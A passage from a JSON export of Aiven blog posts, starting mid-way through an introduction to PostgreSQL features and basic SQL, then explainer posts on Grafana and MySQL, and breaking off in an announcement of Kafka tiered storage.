PostgreSQL Logical Replication]{#NO4UFQGWR28}\n\n(You could check out this [Future PostgreSQL](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol) blog article where we cover new improvements to the replication protocol.)\n### Change data capture\nThere is also a means for [change data capture](https://aiven.io/blog/introducing-aiven-for-postgresql-change-data-capture), meaning that prior database changes can be rewound and replayed, a capability essential for disaster recovery.\n### Text search\nPostgreSQL can support the sort of SQL queries that look for column values based on some textual contents combined with wildcards, for example:\n\n```\nSELECT * from books WHERE column_name LIKE 'Zen%';\n```\n\nThis could return records containing book titles like \u003cu\u003eZen and the Art of Motorcycle Maintenance\u003c/u\u003e and \u003cu\u003eZen Flesh, Zen Bones\u003c/u\u003e. Those wildcards could be positioned also at the start of the search string. The same query, but with the search string as ```%Zen%``` could return the results above -- in addition to titles where ‘Zen’ isn’t the initial word in the string, like \u003cu\u003eThe Three Pillars of Zen\u003c/u\u003e and \u003cu\u003eThe Essential Teachings of Zen Master Hakuin\u003c/u\u003e.\n\nIn addition to text search, PostgreSQL supports a ```tsvector``` (a text-search) data type.\nThe function ```to_tsvector``` lets you create a list of tokenize a string to derive a ```tsvector```. ```to_tsquery``` is used to query the ```tsvector``` for occurrences of certain words or phrases.\n### Recursive queries\nPostgreSQL 14 methods to [generate recursive queries](https://www.postgresql.org/docs/current/queries-with.html). It also has [new SEARCH and CYCLE features](https://aiven.io/blog/explore-the-new-search-and-cycle-features-in-postgresql-14) that are very nifty for recursive queries.\n### json language support\nPostgreSQL enjoys excellent ```json``` language support. You can define table columns as [ ```json``` or ```jsonb``` data types](https://www.postgresql.org/docs/current/datatype-json.html) and [use ```json``` functions](https://www.postgresql.org/docs/current/functions-json.html) to parse and manipulate the content.\n### Concurrency\nPostgreSQL is one of the best-known examples of an open source database which supports concurrent ACID transactions. To achieve this, PostgreSQL may use multiple locks to serialize database changes. When concurrent changes are made, the first transaction may proceed (as a lock is invoked); the second pauses until the first commits or aborts.\n\nHere is an example. Imagine opening two terminal windows. In a ```psql``` session, you’d try:\n\n```\n\tCREATE TABLE records (\n\t header text NOT NULL primary key,\n\t info json NOT NULL\n\t);\n\n\tBEGIN;\n\tALTER TABLE records ADD COLUMN recent_update timestamp;\n```\n\nIn another ```psql``` session, you’d try to run:\n\n```\n\tSELECT * FROM records;\n```\n\n\u003e **Note:** Nothing happens until the first transaction is complete.\n\n### Reliability and disaster recovery\nBefore writing a full page image to disk, PostgreSQL [periodically writes](https://aiven.io/blog/introducing-aiven-for-postgresql-change-data-capture) to a write-ahead log (WAL). This enables PostgreSQL to recover from crashes by replaying the writes in the log.\n\nThe ```full_page_writes``` parameter in ```postgresql.conf``` can be toggled off if there is anything in the system preventing partial writes.\n\nHere's a further read on the topic on the Aiven blog: [Data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery).\n\nIndividual records in WALs are [checksummed](https://www.postgresql.org/docs/current/wal-reliability.html) by a CRC-32 check to validate correctness of record contents (upon restore operations), although there are a few items that bypass the checks, including data pages, and internal data structures.\n### Security\nPostgreSQL has a lot of ways to handle all kinds of security issues. For example, client connections are allowed only via local Unix socket by default (so, not via TCP/IP sockets) unless you use the ```-i``` switch to start the server backend. Also, you can blacklist client connections with the ```pg_hba.conf``` file in ```PG_DATA```.\n\nSuperuser rights to objects are one option to be able to perform a lot of different operations in PostgreSQL. For example, only the PostgreSQL superuser account can read the DB files themselves. By granting these privileges you can copy table data, create publications that publish data automatically, or create subscriptions. They are also important privileges for [logical replication](https://www.postgresql.org/docs/current/logical-replication-security.html).\n\nIn fact, each PostgreSQL user takes a username and password. You can assign users to _groups_, and then assign or restrict access to tables — or even rows — based on these group privileges.\n\nPostgreSQL also offers a range of [encryption options](https://www.postgresql.org/docs/12/encryption-options.html) like encryption for specific columns, data partitions, across a network, etc.\n\n[Server spoofing prevention](https://www.postgresql.org/docs/12/preventing-server-spoofing.html) works by creating a symbolic link to a relocated vulnerable socket file.\n### Extensibility\nPostgreSQL is [catalog-driven](https://hub.packtpub.com/postgresql-extensible-rdbms/): data dictionaries — system catalogs — hold information about the database itself, cells, columns, data types, functions, access methods, etc. These catalogs are tables in their own-right: user-queryable and modifiable.\n\nAs users can modify databases directly, as well as add dynamically-loadable code changes or user-defined functions (UDFs), many choose PostgreSQL for rapid prototyping applications and data structures.\n\nExtensibility is critical for many organizations with needs specific to a given industry or line of business. When traditional database systems fall short and business users are not themselves database experts, modifying the database may not interrupt availablity nor require core database engine modifications.\n\nIn fact, users want seamless solutions. With PostgreSQL you can seamlessly create your own data types, functions, aggregates, operators, operator classes (for index access), data wrappers, and so on, providing the tools and add-ons for domain-specific solutions.\n\nSometimes extensions become complete products in their own right. One concrete example: [PostGIS](https://postgis.net/), which has been modified to support location queries using geographic coordinates. Additionally, [Timescale] is PostgreSQL optimized for time series data.\n\nHere are some ways to use PostgreSQL together with other tools:\n- [Quickly develop REST APIs with PostgREST](https://aiven.io/blog/quickly-developing-rest-apis-with-postgrest)\n- [How to stand up multiregion PostgreSQL with Pulumi](https://aiven.io/blog/how-to-stand-up-multiregion-postgresql-with-pulumi)\n- [Aiven for PostgreSQL for your Go application](https://aiven.io/blog/aiven-for-postgresql-for-your-go-application)\n- [Add Aiven database magic to your Laravel project](https://aiven.io/blog/add-aiven-database-magic-to-your-laravel-project)\n\n### Tool support\nDevelopers these days can enjoy a number of [tools](https://dev.to/scalegrid/which-is-the-best-postgresql-gui-2019-comparison-27lc) to interact with the database that go way beyond psql. [pgAdmin](https://www.pgadmin.org/) supports PostgreSQL across the board and is a long-time favorite of DBAs and developers; we have [Aiven-specific setup instructions](https://aiven.io/docs/products/postgresql/howto/connect-pgadmin.html) available. Alternatively, you can [connect via psql](https://aiven.io/docs/products/postgresql/howto/connect-psql.html), another helpful terminal-based front-end tool.\n\n[DataGrip](https://www.jetbrains.com/datagrip/), from JetBrains, is a popular integrated development environment (IDE) that works cross-platform and with a range of databases. [```usql```](https://github.com/xo/usql) is a universal command-line interface that works with many databases natively. Finally, [OmniDB](https://github.com/OmniDB/OmniDB) is a complete collaborative workspace for PostgreSQL and other databases.\n\nIn addition to core PostgreSQL itself, Aiven developers have contributed to a number of PostgreSQL extensions, including [pghoard](https://github.com/aiven/pghoard) (for backup and restore), [pglookout](https://github.com/aiven/pglookout) (for replication monitoring and as a failover daemon), and a range of connectors. [Here's a full list of the extensions that work with Aiven versions.](https://aiven.io/docs/products/postgresql/reference/list-of-extensions.html)\n\nFor visualizing data, you can pick the open source analytics tool [Grafana](https://grafana.com/), for example. We've got instructions how to [integrate PostgreSQL and Grafana](https://aiven.io/docs/products/postgresql/howto/visualize-grafana.html) with the help of Aiven platform. Grafana is also a great tool to [monitor your PostgreSQL metrics](https://aiven.io/docs/products/postgresql/howto/report-metrics-grafana.html).\n\nAlternatively, check out how to [monitor the metrics with pgwatch2](https://aiven.io/docs/products/postgresql/howto/monitor-with-pgwatch2.html).\n\nIn terms of orchestration, you can [manage your PostgreSQL database with Terraform](https://aiven.io/blog/aiven-databases-and-terraform-for-fun-and-profit).\n\n### Delegating management of your PostgreSQL database\nAbove we covered many exciting features of how PostreSQL helps you to be in charge of data operations. However, this is not the whole story of managing your database. Working with any database involves a lot of routine operations to achieve high availability, steady performance and bulletproof database security.\n\nAs your database and your applications grow, these routine operations will consume significant time and involve substantial cost of accidental errors. That's why at some point of time you might consider using professional support to manage your PostgreSQL database and use external help to perform database administration tasks.\n\nAmong these critical error-prone routine operations are\n\n- performing [regular backups](https://aiven.io/docs/products/postgresql/concepts/pg-backups.html) and [restoring](https://aiven.io/docs/products/postgresql/howto/restore-backup.html) data when needed;\n- staying on top of the latest security updates and patches, including a straightforward way to [perform major version upgrade](https://aiven.io/docs/products/postgresql/howto/upgrade.html) and to [control failover procedures](https://aiven.io/docs/products/postgresql/concepts/upgrade-failover.html);\n- maintaining very large numbers of connections to a database with the help of [connection pooling](https://aiven.io/docs/products/postgresql/concepts/pg-connection-pooling.html).\n\nRelying on managed services also gives advantages in [using and managing extensions](https://aiven.io/docs/products/postgresql/howto/manage-extensions.html), where the recommended extensions are supported and maintained in the same way as PostgreSQL database.\n\nDelegating management of your PostgreSQL database is not an easy choice. However, it can be a two-way door decision. At the end of the day, you can always go back at managing your servers later on, if you stick to open source solutions.\n\n### ...and so much more\nThe PostgreSQL [home page](https://www.postgresql.org/about/) lists tons of other features - supported **data types**, more in-depth **data integrity** features, features supporting **concurrency**, **disaster recovery features**, **security features**, **extensibility** and **text search**, including international character support.\n\n## How PostgreSQL does it\nCore PostgreSQL mandates that data be fully-structured, requiring that it adheres to a specific schema; records added to a database that do not comply will be rejected.\n\n__NOTE:__ PostgreSQL has since evolved to also support JSON/JSONB, XML and other common formats for data ingress/egress.\n\nAs an open-source database management system, PostgreSQL users can continually evolve their databases, while switching languages and without need to recompile. While SQL conformance is ongoing, new features are being constantly added. Let’s look at how objects are created and manipulated in PostgreSQL.\n\nAs SQL is quite expansive, we’ll only touch on some basics here.\n\n### DDL - data definition language\nData definition language (DDL) is used to define data structures, and includes the following commands:\n* Data type declaration\n* ```CREATE``` - creates a new database, table, index or procedure.\n* ```ALTER``` - modifies an existing database object.\n* ```DROP``` - deletes an existing database, table, index or procedure.\n* ```TRUNCATE TABLE``` - empties a table for reuse.\n\nFor example:\n\n```\n\tCREATE DATABASE LIBRARY;\n\n\tCREATE TABLE Borrowers (\n\t id INT PRIMARY KEY,\n\t first_name VARCHAR(20) not null,\n\t last_name VARCHAR(50) not null,\n\t birth_date DATE not null);\n\n\tALTER TABLE Borrowers ADD COLUMN years_member INT NOT NULL CHECK years_member \u003e 0;\n\n\tCREATE TABLE books (\n\t id INT PRIMARY KEY,\n\t title VARCHAR(50),\n\t author VARCHAR(50)\n\t publication_date DATE not null);\n\n\t /* after populating ‘books‘ table */\n\n\t TRUNCATE TABLE books;\n\n\t/* removes all data from ‘books’ table */\n```\n\n### DML - data manipulation language\nData manipulation language is used to work with tables and their contents as in:\n* ```INSERT``` - inserts new rows in a table.\n* ```UPDATE``` - updates existing rows in the table.\n* ```DELETE``` - deletes rows from a table.\n* ```SELECT``` - the main method for querying data from the database.\n\n![a select statement on a postgresql table](//cdn.sanity.io/images/sczeoy4w/production/36d909f145738dabef8d9f7b5bd875bed4093edd-3360x1750.png \"A select statement on a PostgreSQL table\")\n\nFor example:\n\n```\n\tINSERT INTO Borrowers(id,first_name,last_name,birth_date,years_member) VALUES(1,'Riley','Jimbo',1964-05-02,12);\n\tINSERT INTO Borrowers(id,first_name,last_name,birth_date,years_member) VALUES(2,'Smith','Bubba',1973-09-21,5);\n\tINSERT INTO Borrowers(id,first_name,last_name,birth_date,years_member) VALUES(3,'Eberhardt','Jocelyn',1930-12-22,71);\n\n\tUPDATE Borrowers SET years_member = 1 WHERE id = 1;\n\tDELETE FROM Borrowers WHERE years_member \u003e 70;\n\n\tSELECT * FROM Borrowers WHERE years_member \u003e 5;\n\n ```\n\n#### Compact syntax for bulk insert\nThere is an easier way to insert multiple rows at once, using a single command:\n\n```\n\tINSERT INTO Borrowers (id,first_name,last_name,birth_date,years_member) VALUES\n\t (4, 'Evelyn', 'Snarfington', 1959-08-03, 8),\n\t (5, 'Robert', 'Jones', 2000-01-23, 6),\n\t (6, 'Joseph', 'Chu', 1987-11-07, 10);\n```\n\n![Key Resource Info box template](//cdn.sanity.io/images/sczeoy4w/production/bf97e0c1740acc5640d0301827137e6592379f6d-2500x1250.png)\n### In brief: DCL and TCL\n\nDCL - data control language - deals with the permissions and other controls governing access to the database system. It consists of the following statements:\n* ```GRANT``` - grants access privileges.\n* ```REVOKE``` - revokes access privileges.\n\nTCL - transaction control language - has to do with the transactions in a database, and consists of the following statements:\n* ```COMMIT``` - commits a transaction.\n* ```ROLLBACK``` - in the event of an error, rolls back a transaction.\n* ```SAVEPOINT``` - sets a save point in a transaction.\n* ```SET_TRANSACTION``` - defines transaction characteristics.\n\n### Querying data\nMost querying on PostgreSQL (as in SQL itself) happens via the ```SELECT``` statement, as in the following examples:\n\n```\nSELECT * FROM Borrowers;\n```\n\nQueries can be refined in a variety of ways, for example limiting results to a condition:\n\n```\nSELECT * FROM Borrowers WHERE years_member \u003e 3;\n```\n\nLimiting results to a specific results count:\n\n```\nSELECT * FROM Borrowers LIMIT 5;\n```\n\nQuerying only certain fields:\n\n```\nSELECT id, last_name, years_member FROM Borrowers;\n```\n\nSorting query results by certain fields:\n\n```\nSELECT * FROM Borrowers ORDER BY years_member DESC;\n```\n\nand so on.\n\n## Aiven for PostgreSQL\nAiven for PostgreSQL is our managed and hosted solution for any provider, offering high-availability with automatic [updates](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) and backups. Aiven supports various [extensions](https://aiven.io/docs/products/postgresql/reference/list-of-extensions.html), such as PostGIS and [TimescaleDB](https://aiven.io/blog/turn-aiven-postgresql-into-time-series-powerhouse-with-timescale) and provides [publish/subscribe](https://aiven.io/blog/logical-replication-using-publish-subscribe-now-supported-by-aiven-postgresql) logical replication.\n\nAiven for PostgreSQL is just one part of the data platform we provide. You can integrate it as a part of a system that also includes things like [Aiven for Apache Kafka](https://aiven.io/kafka), [OpenSearch](https://aiven.io/opensearch) or [Redis](https://aiven.io/caching).\n\nIf you're unsure which cloud to choose, [take a look at the latest benchmarks across GCP, AWS and Azure](https://aiven.io/blog/aiven-for-postgresql-13-performance-on-gcp-aws-and-azure-benchmark)!\n\n::youtube[PostgreSQL cloud performance]{#tQ8yxZjEUM4}\n\n## Getting started with Aiven for PostgreSQL\nTo begin with, you could do worse than [read the documentation](https://aiven.io/docs/products/postgresql).\n\nAiven for PostgreSQL is easy to set up. Sign up for 30-days free trial at [Aiven Console](https://console.aiven.io/).\n\n\n## Further reading\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [The pursuit of happiness with Python and PostgreSQL®](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql)\n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n- [Aiven for PostgreSQL® connection pooling](https://aiven.io/blog/aiven-postgresql-connection-pooling)\n\n- [Using PostgreSQL® JSON functions to navigate reviews of restaurants in India](https://aiven.io/blog/pg-json-indian-restaurants)\n\nAlso, there's quite a lot on the [Aiven blog about PostgreSQL](https://aiven.io/blog?categories=postgresql) - check it out for some cool things to use PostgreSQL for.\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Join us for a browse about the ins and outs of PostgreSQL® on this page of information and resources.","metaImage":{"alt":"","asset":{"_ref":"image-b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844-png","_type":"reference"}},"metaTitle":"PostgreSQL® | Comprehensive guide | Get started with Aiven"},"slug":{"_type":"slug","current":"/blog/an-introduction-to-postgresql"},"subtitle":"Join us for a browse about the ins and outs of PostgreSQL® on this page of information and resources.","title":"What is PostgreSQL®?"} {"__i18n_lang":"en","_createdAt":"2022-10-03T06:48:59Z","_id":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_rev":"BVM0UzymoPXcfHGeYl8GUv","_type":"post","_updatedAt":"2024-08-09T10:11:47Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"## What’s Grafana all about?\nMade and maintained by Grafana Labs since 2014, Grafana® has become [one of the most popular open source projects on GitHub](https://github.com/grafana/grafana \"Github's Grafana resources\"). Why’s that, you ask? Because Grafana can give (distributed) teams that single source of truth when it comes to the health of their project.\n\nGrafana allows you to query, visualize, alert on and understand your data no matter where it is stored. By combining and correlating data from any source in one dashboard, your team is on the same page - always.\n\nAnd when we say *any source*, we mean it. Grafana’s [plugin catalog is vast](https://grafana.com/grafana/plugins/ \"Grafana plugins - extend and customize your Grafana\"), and growing. Today Grafana supports 290 plugins, of which [Aiven offers 62](https://aiven.io/docs/products/grafana/reference/plugins.html \"Plugins for Aiven for Grafana\") - way more than some of the big Cloud vendors. Grafana starts making sense when it's connected to more sources and allows you to connect the dots between your Splunk, Oracle, MongoDB … and when you’re missing a data source, you can always use the general purpose Infinity plugin to visualize data from virtually any JSON, CSV, XML, GraphQL or HTML endpoint.\n\n[Aiven for Grafana®](https://aiven.io/grafana \"Managed Grafana as a service\") is a fully managed offering of the multi-platform open source analytics and interactive visualization web application that is Grafana.\n\n## Grafana’s benefits and uses\n__Debugging__: Teams use Grafana for ad hoc __troubleshooting__. Different teams often use different tools, and access might not be shared across those groups. When Grafana has query access to your monitoring applications, you’re all looking at the same spikes and you can get to a plan of action quicker.\n\n__Observability__: Grafana visualizes time series data as a graph, allowing you to [observe how your application behaves over time](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL® metrics with Terraform, InfluxDB and Grafana\"). What’s more, [Grafana dashboards](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana \"Metrics and graphs with M3 and Grafana\") offer insights to all kinds of stakeholders, regardless of their technical skills, thanks to the customizable abstraction layer for visualization.\n\n__The boy who cried wolf__: Use the __Mixed view__ to combine alerting data from data sources, and only notify your on-call team when alarm bells go off at Pagerduty __and__ Datadog __and__ New Relic. Waking people up over false positives is a surefire path to alerting fatigue.\n## How to get started with Grafana\nNavigate to the [Aiven Console](https://console.aiven.io/ \"Aiven Console login\") and create a Grafana service on a trial account. Copy the generated password, and select *Service URI* to leave the Console and go to Grafana.\n\n![Grafana console service](//cdn.sanity.io/images/sczeoy4w/production/c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb-1920x1254.png)\n\nTo add data sources that are not available from our service integrations, navigate to *Configuration \u003e Data sources*, and *Configuration \u003e Plugins* for a list of available plugins (including but not limited to data source plugins).\n\n![Plugins overview screen](//cdn.sanity.io/images/sczeoy4w/production/9c772f418eda7824466fea923e7a5e6fa156c25f-1837x1271.png)\n\nLet’s say you want to track and understand the health of my [OpenSearch](https://aiven.io/blog/introduction-to-opensearch \"Introduction to OpenSearch®\")® instance by visualizing its metrics. Go back to the Aiven Console and create an OpenSearch instance there as well. In this example we're running a very barebones OpenSearch cluster that we want to observe. For that, you need the Metrics integration to send service metrics to M3, which is very suitable for time series data.\n\nCreate a new M3 service right from the service integrations window.\n\n![Service integrations for os screenshot 20220913](//cdn.sanity.io/images/sczeoy4w/production/fdbe0b431f7fd700c07b498068c93f848f2d8374-1727x699.png)\n\nNow you need M3 to collect data from OpenSearch, and send that to Grafana.\n\n![Enabled service integrations m3](//cdn.sanity.io/images/sczeoy4w/production/de70c041593456246af6fe81fc7c104b165e4ed8-1723x679.png)\n\nSelect the Dashboards integration and connect M3 to your existing Grafana instance.\n\n![Enabled services 20220913](//cdn.sanity.io/images/sczeoy4w/production/2df698122a45098a0c6ee809b6e68428b8774e2f-1770x262.png)\n\nM3 now collects data from OpenSearch, making it accessible for visualization.\n\nGo open Grafana and browse the dashboards. When you select the prebuilt dashboard, the data begins to roll in and you can start to see graphs and charts. You can also edit your data source to make it collect data on shorter intervals, if you’re in a hurry.\n\n![Grafana dashboard](//cdn.sanity.io/images/sczeoy4w/production/ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb-1859x2534.png)\n\nNow that you've got your dashboard, you can drag and drop panels as you'd like. Remember to rename the dashboard when you make changes, though! Otherwise, with the next update, the dashboard resets to its default settings.\n\n## Next steps\nOne of the attractive features of a managed services platform like Aiven is the extensibility of each individual service. Grafana is highly compatible with other Aiven products. You can set up your other Aiven services as data sources for Grafana, like [PostgreSQL®](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL® metrics with Terraform, InfluxDB and Grafana\"), MySQL, ClickHouse®, OpenSearch® and InfluxDB®, monitor their health, and perform queries.\n\nBuild a proof of concept with Grafana, and soon enough you'll find yourself sharing dashboards with your team members when you’re analyzing traffic spikes, or investigating performance issues.\n\n--\n\nIf you have any feedback or questions, say hi to us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!\n\n\n## Further reading\n\n- [Customize and contextualize your data with Grafana® 10](https://aiven.io/blog/customize-and-contextualize-your-data-with-grafana-10)","categories":[{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-897121af3cb3da563cc0349f739cc41bb83e682c-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-27T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"By combining and correlating data from any source in one dashboard, Grafana® ensures your team is always on the same page.","metaImage":{"alt":"","asset":{"_ref":"image-897121af3cb3da563cc0349f739cc41bb83e682c-1567x844-png","_type":"reference"}},"metaTitle":"What is Grafana®? | Elevate your data insights game | Aiven"},"slug":{"_type":"slug","current":"/blog/what-is-grafana"},"subtitle":"By combining and correlating data from any source in one dashboard, Grafana® ensures your team is always on the same page.","title":"What is Grafana®?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"C1uHqSo76FttzNKfqvt25","_rev":"1OyjLnRDvuzO2Q4Gk3FSIs","_type":"post","_updatedAt":"2024-09-23T13:47:59Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"MySQL has been a key part of the open source database ecosystem for a long time, with many of the world’s largest and fastest-growing companies adopting it for their business-critical systems. If you’re looking for a way to get started with MySQL, this blog post has a good overview of its capabilities and common use cases, so read on! \n\n## What is MySQL?\n\nMySQL is an open source relational database management system (DBMS). It is developed, supported, and distributed by Oracle Corporation and it has a vibrant community around it. Some of the key MySQL features include:\n\n- Portability: MySQL works on [many different platforms](https://www.mysql.com/support/supportedplatforms/database.html \"many different platforms\") and is configured using CMake\n- Works on top of various storage engines, with the option to add new engines relatively easily to provide a SQL interface to an in-house database\n- In-memory hash tables, which are used as temporary tables\n- Many data types, including JSON and spatial\n- Full operator and function support in the SELECT list and WHERE clause of queries\n- Full support for SQL GROUP BY and ORDER BY clauses and group functions\n- Flexibility and security\n- MySQL includes several clients and utilities written in many languages \n\n## What are the primary use cases for MySQL?\n\nMySQL is the most widely adopted relational database management system and can be used for mission critical apps, dynamic websites, and as an embedded database for software, hardware, and appliances. Here are the examples of some of the most common use cases: \n\n- __Online Transaction Processing (OLTP)__ – MySQL can be useful both in any application that requires a simple SQL engine and websites with heavy traffic. It adheres to ACID principles and its extensions to ANSI/ISO Standard SQL support a large volume of databases.\n- __LAMP Stack__ – MySQL’s simple programming syntax makes it compatible with high-performance applications running on the LAMP stack (Linux, Apache, MySQL, and PHP/Python/Perl). \n- __eCommerce – MySQL__ can process a high volume of requests in the shortest amount of time, so it’s good for managing customer data, catalogs, and transactions.\n- __Fraud detection__ – Thanks to the high availability of MySQL, it’s able to analyze transactions in real time, along with trends or anomalous behavior, to prevent fraudulent activities.\n\nThese are just some examples of situations where you can use MySQL. As it’s a highly popular database management system and it’s open source, it has an extensive portfolio of extensions and community support. All this makes MySQL a flexible tool for many use cases. \n\n## How to get started with MySQL?\n\nIt’s relatively easy if you use Aiven for MySQL™. Whether you are building something new or looking for a modern platform for your existing applications, Aiven for MySQL™ is a friendly and scalable offering. Here’s how to get started:\n\n- Log in to the [Aiven Console](https://console.aiven.io/ \"Aiven Console\") (or [sign up](https://console.aiven.io/signup \"Trial sign up\") for a 30-day trial if you haven’t done so yet!). \n- Create a new Aiven service by [following these steps](https://aiven.io/docs/platform/howto/create_new_service \"Create an Aiven service\"). \n- Click the service name in the list to go to the ”Overview” page. You can configure the service using our [list of available parameters](https://aiven.io/docs/products/mysql/reference/advanced-params \"List of parameters\") if needed. \n- Once the service is up and running, the light changes to green and the indicator says ” RUNNING “. \n\nThat’s it! You can explore the next steps on our Developer Portal - we have quite an extensive list of How-tos and resources available at [https://aiven.io/docs/products/mysql/](https://aiven.io/docs/products/mysql/ \"MySQL introduction\"). \n\n## Wrapping up\n\nWe hope you found this introduction useful and are ready to get started with MySQL. For more details about the tool, check out our resources below or [the official MySQL docs](https://dev.mysql.com/doc/refman/8.0/en/ \"MySQL documentation\"). \n\n- [Getting started with MySQL guide](https://aiven.io/docs/products/mysql/get-started \"Getting started with MySQL\")\n- Check out this [blog post](https://aiven.io/blog/postgresql-vs-mysql-the-aiven-championships \"Blog post PostgreSQL vs MySQL\") on the difference between MySQL and PostgreSQL\n- Find out about [our open-source solution to MySQL backups and restoration MyHoard](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration \"MyHoard introduction\") and check out the [GitHub repository](https://github.com/aiven/myhoard \"MyHoard GitHub repository\")\n\nLastly, try out our fully-managed service, deployable in the cloud of your choice. [Start with a 30-day trial](https://console.aiven.io/signup \"Aiven 30-day free trial\") and see if it works for your use case. As we mentioned, MySQL has a vibrant community to answer any questions you may have, or our team can help answer those questions for you too.\n\n\n## Further Reading\n\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)","categories":[{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"5xudGcikDUGEMuFsHkfr0z","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-23T00:00:00.000Z","seo":{"metaDescription":"MySQL is a traditional open source relational database that goes well with many well-established applications. Find out more about its features and use cases.","metaImage":{"alt":"","asset":{"_ref":"image-5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844-png","_type":"reference"}},"metaTitle":"What is MySQL? Get the basics here"},"slug":{"_type":"slug","current":"/blog/what-is-mysql"},"subtitle":"MySQL is a traditional open source relational database that goes well with many well-established applications. Find out more about its features and use cases.","title":"What is MySQL? Get the basics here"} {"__i18n_lang":"en","_createdAt":"2024-08-26T15:49:24Z","_id":"d673489a-c315-4ea8-b272-3ed867b2ab55","_rev":"uQRNMiDfrp20RZ8Id8xQYJ","_type":"post","_updatedAt":"2024-08-29T08:00:06Z","authors":[{"_key":"1c34cf1ab1ff","_ref":"81fcbfa9-edc6-4c5c-acd0-9bf1ac3fa83d","_strengthenOnPublish":{"template":{"id":"author"},"type":"author"},"_type":"reference","_weak":true},{"_key":"5eb7f39ca6bc","_ref":"d9876e27-ddc6-4ade-abe4-1281a2c7a1e2","_strengthenOnPublish":{"template":{"id":"author"},"type":"author"},"_type":"reference","_weak":true}],"body":"Aiven announces the general availability of Tiered Storage in [Aiven for Apache Kafka®](https://aiven.io/kafka). Tiered storage enables Apache Kafka® to seamlessly move older, less frequently accessed data to a lower cost storage tier within Kafka. This enables infinite data retention while substantially reducing storage costs and improving performance and operational efficiency. Tiered storage in Aiven for Apache Kafka is production-ready for AWS, Google Cloud, Azure, and soon to be available for [Bring Your Own Cloud (BYOC)](https://aiven.io/docs/platform/concepts/byoc#architecture-of-the-standard-byoc-deployment) deployments for these cloud providers.\n\nThe popularity of Apache Kafka for building real-time data pipelines and event-driven architectures continues to accelerate. Larger datasets are being stored for longer durations, bringing growing challenges of scalability, performance, operational management, and especially cost-efficiency.\n\nTraditionally, Kafka stored all data on fast local disks and defaulted to a short 3- to 7-day retention period to mitigate the high cost of storage. As data accumulated, customers either purchased more storage, or moved data out of Kafka to less expensive datastores like Hadoop Distributed File System (HDFS) or other databases, data lakes, or data warehouses for long-term retention and analysis. But this created a fragmented data access experience for consumers that needed to access both fresh and historical data-–maintaining queries to both Kafka and other datastores is complex and cumbersome.\n\nTiered storage addresses this challenge where storage is no longer the bottleneck or budget buster in scaling Kafka. Log segments on the Kafka broker node remain on local disk for fast access, and cold data is automatically moved within Kafka to lower cost cloud object storage like Amazon S3, Google Cloud Storage, or Azure Blob Storage. Using tiered storage reduces the size of broker node storage, which eliminates the need for large node-to-node data replication operations and makes upgrades and migrations smoother and more performant.\n\n# **Benefits of Apache Kafka tiered storage**\nTiered storage optimizes costs, simplifies scaling, boosts performance, and improves operational efficiency. These benefits make Apache Kafka a more versatile and cost-effective solution for both real-time and long-term data storage. For use cases involving large volumes of historical data, the cost savings can be very substantial.\n\n- **Unlimited storage:** Data can be retained indefinitely without space constraints.\n- **Optimized costs:** Storage costs are significantly reduced by moving older data from costly local disks in the broker node to a less expensive storage tier.\n- **Greater elasticity:** Decoupling compute and storage enables storage to expand independently, without adding new broker nodes and copying the entire dataset from old to new nodes. 